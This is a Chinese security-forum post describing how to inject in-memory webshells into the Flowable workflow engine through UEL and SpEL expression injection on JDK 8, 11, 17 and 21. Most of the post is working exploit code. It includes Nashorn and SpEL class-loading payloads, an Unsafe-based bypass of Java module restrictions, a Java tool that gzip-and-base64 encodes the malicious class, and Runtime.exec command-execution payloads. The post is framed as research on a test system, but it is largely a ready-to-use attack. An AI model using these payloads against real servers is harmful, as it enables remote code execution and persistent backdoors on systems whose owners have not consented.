问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
flowable流程引擎JDK 8-21 全版本内存马注入
漏洞分析
Flowable 是一个用 Java 编写的轻量级业务流程引擎。其中存在插入表达式的功能,其表达式为UEL表达式,并且在达到触发条件时,会对该表达式进行解析执行。
前置基础 ---- Flowable 是一个用 Java 编写的轻量级业务流程引擎。其中存在插入表达式的功能,其表达式为UEL表达式,并且在达到触发条件时,会对该表达式进行解析执行。更深入的理解:<https://forum.butian.net/share/3823>。 漏洞利用 ---- 目前关于flowable漏洞利用的技术分析文章已有较多公开资料,但针对内存马注入技术的研究相对匮乏。芋道管理系统集成了Flowable工作流引擎,其最新版本已全面支持Java 17/21运行环境。本以芋道测试环境,深入探究了在不同Java版本(8/11/17/21)下实现flowable内存马注入。 相关漏洞利用: <https://xz.aliyun.com/news/13969> JDK8 ---- 在JDK8中,直接使用当前线程的contextClassLoader去反射调用defineClass方法来进行恶意类的加载即可 ```bash ''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('var base64Str = "yv66vg...";var clsString = java.lang.Class.forName("java.lang.String");var bytecode;try { var decoder = java.lang.Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null); bytecode = decoder.getClass().getMethod("decode", clsString).invoke(decoder, base64Str);} catch (ee) { var decoder = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance(); bytecode = decoder.getClass().getMethod("decodeBuffer", clsString).invoke(decoder, base64Str);}var clsByteArray = (new java.lang.String("a").getBytes().getClass());var clsInt = java.lang.Integer.TYPE;var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", [clsByteArray, clsInt, clsInt]);defineClass.setAccessible(true);var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));clazz.newInstance();') ```  新建流程,在监听器插入表达式即可  执行流程就会触发   JDK11 ----- 修改jdk版本为11,继续使用该poc  此时报错了  控制台日志可以发现报错:`Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(byte\[\],int,int) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to module jdk.scripting.nashorn.scripts `  这块有点疑问,根据网上大多数公开文章都说的是JDK17版本之后使用了强封装直接会ban掉非法反射,但在jdk11中只会提示在未来的版本会完全禁用掉此类的不安全反射操作,但是不影响字节码的加载 先不深究,这块使用Unsafe类defineAnonymousClass方法进行类加载即可。但需要注意的一个槽点就是:JDK>8时(JDK8及以下无此限制),defineAnonymousClass做了限制,被加载的Class要满足两个条件之一: 1. 没有包名 2. 包名跟第一个参数Class的包名一致(在同一包下),否则会报错 ```bash ${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var ClassBytes = java.util.Base64.getDecoder().decode('yv66vg...');var safeClass = java.lang.Class.forName('sun.misc.Unsafe');var safeCon = safeClass.getDeclaredField('theUnsafe');safeCon.setAccessible(true);var unSafe = safeCon.get(null);var mem = unSafe.defineAnonymousClass(org.flowable.engine.impl.test.NoOpServiceTask.class, ClassBytes, null);mem.newInstance();")} ```  成功  JDK17/21 -------- Nashorn 引擎jdk17被移除了,Graal.js 的依赖又默认注释。  这块我们想到用spel表达式来注入内存马,通过org.springframework.cglib.core.ReflectUtils进行类加载,具体分析可以参考[CVE-2024-36401 JDK 11-22 通杀内存马](https://mp.weixin.qq.com/s/jCOp9A-qO8ViqLx3ui0XHg) poc ```bash ${''.getClass().forName("org.springframework.expression.spel.standard.SpelExpressionParser").newInstance().parseExpression("T(org.springframework.cglib.core.ReflectUtils).defineClass('org.springframework.expression.Test',T(org.apache.commons.io.IOUtils).toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(java.util.Base64).getDecoder().decode('gzip + Base64')))),T(java.lang.Thread).currentThread().getContextClassLoader(),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser'))").getValue()} ``` 需要注意的点就是注入器类名需要在org.springframework.expression下,并且注入的内存马需要绕过高版本反射的限制(HelpUtils替换为自己类名) ```bash Class unsafeClass = Class.forName("sun.misc.Unsafe"); Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); unsafeField.setAccessible(true); Unsafe unsafe = (Unsafe) unsafeField.get(null); Module module = Object.class.getModule(); Class cls = HelpUtils.class; long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module")); unsafe.getAndSetObject(cls, offset, module); ``` 这块使用MemShellParty生成的马是处理过的,无需修改  修改重新打包内存马绕过SpEL字符限制 ```bash package com.example.demo; import java.io.*; import java.util.Base64; import java.util.ArrayList; import java.util.List; import java.util.zip.GZIPOutputStream; public class Evil { public static void main(String[] args) { // 内存马代码文件 String javaFilePath = "/Users/yu9/Desktop/demo/src/main/java/com/example/demo/Test.java"; String javacPath = "/Users/yu9/Library/Java/JavaVirtualMachines/ms-17.0.15/Contents/Home/bin/javac"; String classFilePath = "/Users/yu9/Desktop/demo/src/main/java/com/example/demo/Test.class"; // 输出'gzip + Base64'的恶意字节码到文件 String outputFilePath = "SpELMemShell.txt"; try { // 编译 .java 文件 compileJavaFile(javaFilePath,javacPath); // 检查 .class 文件是否已生成 if (!new File(classFilePath).exists()) { throw new FileNotFoundException("The compiled class file was not generated."); } // 压缩并编码 .class 文件 String base64String = compressAndEncodeClassFile(classFilePath); // 写入文件 writeToFile(outputFilePath, base64String); } catch (IOException e) { System.err.println("Error processing the file: " + e.getMessage()); } } private static void compileJavaFile(String javaFilePath,String javacPath) throws IOException { // 内存马中的Object.class.getModule()方法是在Java 9及更高版本中引入的,因此需要指定使用Java 9+的javac进行编译 List<String> command = new ArrayList<>(); command.add(javacPath); // 使用 javac 的完整路径 command.add("-g:none"); command.add("-Xlint:unchecked"); command.add("-Xlint:deprecation"); command.add(javaFilePath); ProcessBuilder processBuilder = new ProcessBuilder(command); Process process = processBuilder.start(); // 等待编译完成 try { int exitCode = process.waitFor(); if (exitCode != 0) { BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream())); String line; while ((line = errorReader.readLine()) != null) { System.err.println(line); } throw new RuntimeException("Compilation failed with exit code " + exitCode); } } catch (InterruptedException e) { Thread.currentThread().interrupt(); throw new IOException("Compilation interrupted", e); } } private static String compressAndEncodeClassFile(String classFilePath) throws IOException { byte[] classData = readFile(classFilePath); // 使用 gzip 进行压缩 byte[] compressedData = compress(classData); // 将压缩后的数据转换为 Base64 编码 String encodedCompressedData = Base64.getEncoder().encodeToString(compressedData); // 输出原始长度和新的 Base64 编码长度 System.out.println("Original Base64 encoded string length: " + classData.length); System.out.println("New Base64 encoded string length after gzip compression: " + encodedCompressedData.length()); return encodedCompressedData; } private static byte[] readFile(String filePath) throws IOException { try (FileInputStream fis = new FileInputStream(filePath)) { byte[] data = new byte[fis.available()]; fis.read(data); return data; } } private static byte[] compress(byte[] data) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream(); try (GZIPOutputStream gzos = new GZIPOutputStream(baos)) { gzos.write(data); } return baos.toByteArray(); } private static void writeToFile(String filePath, String content) throws IOException { try (BufferedWriter writer = new BufferedWriter(new FileWriter(filePath))) { writer.write(content); } } private static String getClassNameFromJavaPath(String javaFilePath) { String fileName = new File(javaFilePath).getName(); return fileName.substring(0, fileName.indexOf('.')); } } ``` 命令执行 ---- ```bash ${''.getClass().forName("org.springframework.expression.spel.standard.SpelExpressionParser").newInstance().parseExpression("T(java.lang.Runtime).getRuntime().exec('open /System/Applications/Calculator.app')").getValue()} ``` ```bash ${''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('open /System/Applications/Calculator.app')} ``` 踩坑记录 ---- 1、高版本spring中javax.servlet 被 jakarta.servlet替代,导致实现conteoller失败。参考:<https://blog.csdn.net/hjji12/article/details/135519521> ```bash 报错:Java.lang.AbstractMethodError: Receiver class org.springframework.expression.Test4 does not define or inherit an implementation of the resolved method 'abstract org.springframework.web.servlet.ModelAndView handleRequest(jakarta.servlet.http.HttpServletRequest, jakarta.servlet.http.HttpServletResponse)' of interface org.springframework.web.servlet.mvc.Controller. ``` 2、反编译内存马后修改缺少常量值。   3、javac反编译缺少依赖,需要通过-classpath添加依赖  参考文章 ---- <https://forum.butian.net/share/3823> <https://xz.aliyun.com/news/13969> <https://xz.aliyun.com/news/14472> <https://xz.aliyun.com/news/13485> <https://yzddmr6.com/posts/geoserver-memoryshell/> <https://blog.csdn.net/wwkms/article/details/137720585> <https://mp.weixin.qq.com/s/jCOp9A-qO8ViqLx3ui0XHg> [https://blog.csdn.net/2301\\\_80115097/article/details/134014498](https://blog.csdn.net/2301%5C_80115097/article/details/134014498)
发表于 2025-09-02 09:00:00
阅读 ( 216 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
Yu9
10 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!